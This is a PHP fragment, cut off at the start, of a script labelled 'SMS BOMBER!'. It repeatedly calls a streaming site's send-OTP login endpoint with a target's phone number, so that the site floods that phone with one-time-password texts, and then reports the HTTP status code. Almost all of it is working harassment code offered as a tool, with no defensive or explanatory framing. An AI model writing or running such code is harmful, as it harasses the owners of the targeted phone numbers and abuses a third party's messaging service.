20 or $amount < 0){
$_SESSION['alert'] = '
';
}else{
for($i=0; $i < $amount; $i++){
$url = "https://stage.bioscopelive.com/en/login/send-otp?phone=88".$number."&operator=bd-otp";
$cSession = curl_init();
curl_setopt($cSession,CURLOPT_URL,$url);
curl_setopt($cSession,CURLOPT_RETURNTRANSFER,true);
curl_setopt($cSession,CURLOPT_HEADER, false);
$result = curl_exec($cSession);
$http_code = curl_getinfo($cSession, CURLINFO_HTTP_CODE);
curl_close($cSession);
}
}
if(empty($http_code)){
$http_code = "408";
}
if($http_code == 200){
$_SESSION['alert'] = '
';
}else{
$_SESSION['alert'] = '
Failed! Error code: '.$http_code.'
';
}
}
?>
SMS BOMBER!